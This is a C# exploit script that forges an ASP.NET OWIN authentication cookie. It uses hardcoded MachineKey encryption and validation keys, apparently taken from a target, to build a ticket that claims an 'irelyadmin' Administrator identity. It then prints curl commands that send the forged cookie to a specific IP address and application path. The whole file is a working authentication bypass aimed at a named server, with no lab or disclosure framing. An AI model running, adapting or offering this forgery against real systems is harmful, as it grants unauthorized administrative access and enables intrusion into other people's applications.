// CookieForge2.cs — Proper OWIN .AspNet.ApplicationCookie format // Uses Microsoft.Owin.Security.Interop for correct serialization // Compile with dotnet (needs NuGet packages) // // OWIN cookie format (SecureDataFormat): // 1. Serialize AuthenticationTicket using TicketSerializer // 2. Protect with MachineKey (purpose: "Microsoft.AspNet.Identity.Application") // 3. Base64 encode // // AuthenticationTicket = { AuthenticationScheme, ClaimsIdentity, AuthenticationProperties } // The binary format is specific to Microsoft.Owin.Security.DataHandler.Serializers using System; using System.IO; using System.Text; using System.Collections.Generic; using System.Security.Claims; using System.Security.Cryptography; using System.Web; using System.Web.Security; class CookieForge2 { // MachineKey static string decKeyHex = "304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7"; static string valKeyHex = "632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A41"; static void Main(string[] args) { // OWIN TicketDataFormat binary serialization // Reference: Microsoft.Owin.Security.DataHandler.Serializers.TicketSerializer // // Format: // byte 0: version (1) // int: number of identities (1) // For each identity: // string: authenticationType (e.g. "ApplicationCookie") // string: nameClaimType // string: roleClaimType // int: claim count // for each claim: string type, string value, string issuer // string: actor (null) // string: bootstrapContext (null) // Properties: // int: property count // for each: string key, string value // DateTime: issuedUtc // DateTime: expiresUtc byte[] ticket = SerializeOwinTicket(); // Protect with MachineKey string[] purposes = new string[] { "Microsoft.AspNet.Identity.Application" }; try { byte[] protectedData = MachineKey.Protect(ticket, purposes); string cookie = Convert.ToBase64String(protectedData); Console.WriteLine("=== FORGED .AspNet.ApplicationCookie (OWIN format) ==="); Console.WriteLine("Cookie: " + cookie); Console.WriteLine(); Console.WriteLine("=== TEST COMMAND ==="); Console.WriteLine("curl -sS -D - -b \".AspNet.ApplicationCookie=" + cookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/"); } catch (Exception ex) { Console.WriteLine("MachineKey.Protect failed: " + ex.Message); Console.WriteLine("Trying manual protection..."); string manual = ManualProtect(ticket); Console.WriteLine("Manual cookie: " + manual); Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + manual + "\" http://50.21.183.111/2210CherryEnergyUAP1/"); } } static byte[] SerializeOwinTicket() { // Build the OWIN AuthenticationTicket binary format manually // Based on Microsoft.Owin.Security.DataHandler.Serializers.TicketSerializer using (var ms = new MemoryStream()) using (var writer = new BinaryWriter(ms)) { // Version writer.Write((byte)1); // Number of identities writer.Write(1); // Identity 1 // AuthenticationType WriteString(writer, "ApplicationCookie"); // NameClaimType WriteString(writer, "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name"); // RoleClaimType WriteString(writer, "http://schemas.microsoft.com/ws/2008/06/identity/claims/role"); // Claims var claims = new List> { Tuple.Create("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", "irelyadmin"), Tuple.Create("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", "1"), Tuple.Create("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", "Administrator"), Tuple.Create("http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider", "idsrv3test"), Tuple.Create("Company", "01"), Tuple.Create("UserId", "1"), Tuple.Create("intRoleId", "1"), Tuple.Create("intUserRoleID", "1"), }; writer.Write(claims.Count); foreach (var claim in claims) { WriteString(writer, claim.Item1); // type WriteString(writer, claim.Item2); // value WriteString(writer, "LOCAL AUTHORITY"); // issuer } // Actor (null) WriteString(writer, null); // BootstrapContext (null) WriteString(writer, null); // Properties var properties = new Dictionary { { ".AspNet.Identity.UserId", "1" }, { ".AspNet.Identity.UserName", "irelyadmin" }, { ".AspNet.Identity.Company", "01" }, }; writer.Write(properties.Count); foreach (var prop in properties) { WriteString(writer, prop.Key); WriteString(writer, prop.Value); } // IssuedUtc (ticks) long issuedTicks = DateTime.UtcNow.Ticks; writer.Write(issuedTicks); // ExpiresUtc (ticks, +1 hour) long expiresTicks = DateTime.UtcNow.AddHours(1).Ticks; writer.Write(expiresTicks); return ms.ToArray(); } } static void WriteString(BinaryWriter writer, string value) { if (value == null) { writer.Write((byte)0); // null marker } else { writer.Write((byte)1); // non-null marker byte[] bytes = Encoding.UTF8.GetBytes(value); writer.Write(bytes.Length); writer.Write(bytes); } } static string ManualProtect(byte[] data) { byte[] decKey = HexToBytes(decKeyHex); byte[] valKey = HexToBytes(valKeyHex); // AES-CBC byte[] iv = new byte[16]; using (var rng = new RNGCryptoServiceProvider()) rng.GetBytes(iv); byte[] encrypted; using (var aes = Aes.Create()) { aes.Key = decKey; aes.IV = iv; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; using (var enc = aes.CreateEncryptor()) encrypted = enc.TransformFinalBlock(data, 0, data.Length); } byte[] blob = new byte[iv.Length + encrypted.Length]; Buffer.BlockCopy(iv, 0, blob, 0, iv.Length); Buffer.BlockCopy(encrypted, 0, blob, iv.Length, encrypted.Length); byte[] mac; using (var hmac = new HMACSHA256(valKey)) mac = hmac.ComputeHash(blob); byte[] result = new byte[mac.Length + blob.Length]; Buffer.BlockCopy(mac, 0, result, 0, mac.Length); Buffer.BlockCopy(blob, 0, result, mac.Length, blob.Length); return Convert.ToBase64String(result); } static byte[] HexToBytes(string hex) { byte[] bytes = new byte[hex.Length / 2]; for (int i = 0; i < hex.Length; i += 2) bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); return bytes; } }